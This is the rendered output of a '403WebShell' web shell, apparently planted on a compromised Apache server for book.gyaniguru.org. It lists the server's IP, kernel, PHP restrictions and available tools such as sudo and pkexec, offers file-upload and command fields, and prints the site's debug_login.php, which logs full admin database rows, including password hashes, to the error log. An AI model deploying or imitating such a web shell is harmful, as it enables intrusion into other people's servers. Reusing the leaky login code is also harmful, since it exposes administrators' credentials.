Uname:Linux ip-10-0-5-176 6.8.0-1057-aws #60~22.04.1-Ubuntu SMP Wed May 27 08:16:59 UTC 2026 x86_64

403WebShell
403Webshell
Server IP : 3.111.61.48  /  Your IP : 216.73.216.67
Web Server : Apache
System : Linux ip-10-0-5-176 6.8.0-1057-aws #60~22.04.1-Ubuntu SMP Wed May 27 08:16:59 UTC 2026 x86_64
User : ubuntu ( 1000)
PHP Version : 8.2.31
Disable Function : exec,passthru,shell_exec,system
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : OFF  |  Sudo : ON  |  Pkexec : ON
Directory :  /var/www/vhost/book.gyaniguru.org/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /var/www/vhost/book.gyaniguru.org//debug_login.php
<?php
session_start();
require_once '../includes/db.php';

if ($_SERVER['REQUEST_METHOD'] == 'POST') {
    $username = $_POST['username'] ?? '';
    $password = $_POST['password'] ?? '';
    
    error_log("Login attempt: username='$username'");
    
    $admin = get_row("SELECT * FROM admins WHERE username = ?", [$username]);
    
    if ($admin) {
        error_log("Admin found: " . print_r($admin, true));
        if (password_verify($password, $admin['password'])) {
            error_log("Password verified");
            $_SESSION['admin_id'] = $admin['id'];
            $_SESSION['admin_name'] = $admin['name'];
            error_log("Session set: admin_id=" . $admin['id']);
            header("Location: index.php");
            exit();
        } else {
            error_log("Password verification failed");
            $error = "Invalid username or password!";
        }
    } else {
        error_log("Admin not found for username: '$username'");
        $error = "Invalid username or password!";
    }
}
?>
<!DOCTYPE html>
<html>
<head><title>Debug Login</title></head>
<body>
    <form method="POST">
        <input type="text" name="username" placeholder="username"><br>
        <input type="password" name="password" placeholder="password"><br>
        <button type="submit">Login</button>
    </form>
    <?php if(isset($error)): ?>
        <p style="color:red"><?php echo $error; ?></p>
    <?php endif; ?>
</body>
</html>

Youez - 2016 - github.com/yon3zu
LinuXploit